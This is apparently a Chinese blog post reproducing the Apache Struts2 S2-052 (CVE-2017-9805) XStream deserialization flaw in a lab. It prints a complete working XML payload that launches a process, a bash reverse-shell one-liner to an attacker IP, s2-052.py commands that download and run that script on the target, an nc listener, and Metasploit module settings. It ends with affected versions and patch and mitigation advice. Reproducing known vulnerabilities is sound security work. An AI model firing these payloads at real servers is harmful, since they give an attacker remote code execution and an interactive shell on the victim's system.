zoukankan      html  css  js  c++  java
  • struts2(s2-052)远程命令执行漏洞复现

     

    漏洞描述:

    2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为CVE-2017-9805(S2-052)。Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击

    漏洞编号:

    CVE编号:CVE-2017-9805

    漏洞复现:

    利用弹出计算器复现:

    漏洞环境为:win2008sr2+tomcat9.0

    1.从struts2的官网下载最后受影响的版本struts-2.5.12,其下载地址: 
    http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip  

     
    拿到struts-2.5.12-apps之后,将其中的app目录下的struts2-rest-showcase.war文件放到webapps目录下,我的是

    D:apache-tomcat-9.0.0.M26webapps

    2.浏览器中访问地址:http://ip地址:8080/struts2-rest-showcase/

    会跳转,然后出现下面的页面:

    3.点击一个edit进行编译页面,然后提交,并用burp抓包。

     

    并发送到repeater进行修改包如下:

    这里将:

    Content-Type: application/x-www-form-urlencoded 修改为:

    Content-Type: application/xml

    post数据改成:

    下面的command就是反序列化出来的命令执行:

    <map>
    
    <entry>
    
    <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>calc.exe</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    
    </entry>
    
    </map>

    4.修改完后,就进行提交包:

    可以看到响应页面中有500错误:

     

    5.最终在目标机器弹出了计算器

     

    利用s2-052.py反弹linux下的struts2:

    1.环境搭建:

    目标靶机:ubuntu16.04x64+docker(ip地址:192.168.1.105)

    攻击机:kali(nc运行监听,IP地址:192.168.1.113)

    2.dokce镜像地址:

    https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-037

    3.在ubuntu上执行:

    docker pull medicean/vulapps:s_struts2_s2-037  #拉取镜像到本地

    docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-037 #启动环境

    最终访问:

    http://192.168.1.105:8080/orders

     

    4.编写bk.sh脚本,内容为:

    bash -i >& /dev/tcp/192.168.1.113/666 0>&1  #这里的ip就是我NC监听的IP地址

    6.将bk.sh放到hsf搭建的ftp服务器上或者其他提供文件服务器上

    7.通过运行python s2-052.py执行如下:

    python  s2-052.py  http://192.168.1.105:8080/orders  "wget http://192.168.1.102/bk.sh"   #下载到目标靶机上

     

    python  s2-052.py  http://192.168.1.105:8080/orders  "/bin/bash ./bk.sh"  #执行sh脚本

     

    9.然后在kali进行nc监听,并反弹出shell:

    nc  -lvvp  666

     

    s2-052.py的下载地址:

    https://raw.githubusercontent.com/backlion/demo/master/s2-052%20.py

     

    msf下的反弹struts2的shell:

    测试环境:

    目标靶机:ubuntu16.04x64+docker(采用如上文说的利用s2-052.py反弹linux下的struts2搭建环境)

    攻击机:kali2017(貌似在kali2016上有点问题,加载不了payload)

    1.在kali上执行:

    root@kali2017:~# cd /opt
    
    root@kali2017:/opt# wget https://raw.githubusercontent.com/wvu-r7/metasploit-framework/5ea83fee5ee8c23ad95608b7e2022db5b48340ef/modules/exploits/multi/http/strut
    
    root@kali2017:/opt# cp struts2_rest_xstream.rb /usr/share/metasploit-framework/modules/exploits/multi/http/

     

    root@kali2017:/opt# msfconsole
    
    msf > use exploit/multi/http/struts2_rest_xstream
    
    msf exploit(struts2_rest_xstream) > show options

    msf exploit(struts2_rest_xstream) > set rhost  192.168.1.105
    
    msf exploit(struts2_rest_xstream) > set rport 8080

    msf exploit(struts2_rest_xstream) > set target /orders
    
    msf exploit(struts2_rest_xstream) > set lhost  192.168.1.113
    
    msf exploit(struts2_rest_xstream) > set lport 443
    
    msf exploit(struts2_rest_xstream) > exploit

     

    可以看到成功反弹shell

     

    受影响版本:

    Apache Struts Version:Struts 2.5 - Struts 2.5.12

    漏洞修复建议:

    1、升级到Apache Struts版本2.5.13

    2、最好的选择是在不使用时删除Struts REST插件,或仅限于服务器普通页面和JSONs:

    <constant name="struts.action.extension" value="xhtml,,json" />

    3、限制服务端扩展类型,删除XML支持。

    由于应用的可用类的默认限制,某些REST操作可能会停止工作。在这种情况下,请调查介绍的新接口以允许每个操作定义类限制,那些接口是:

    org.apache.struts2.rest.handler.AllowedClasses

    org.apache.struts2.rest.handler.AllowedClassNames

    org.apache.struts2.rest.handler.XStreamPermissionProvider

     

     

  • 相关阅读:
    js实现观察者模式
    磁盘阵列操作实战
    淘宝知名工程师
    Java线程并发控制基础知识
    java多线程总结
    NIO系列1:框架拆解
    Java NIO 系列教程
    Java NIO系列教程(三-十二) Buffer
    Java NIO系列教程(二) Channel
    Java NIO系列教程(一) Java NIO 概述
  • 原文地址:https://www.cnblogs.com/backlion/p/7490260.html
Copyright © 2011-2022 走看看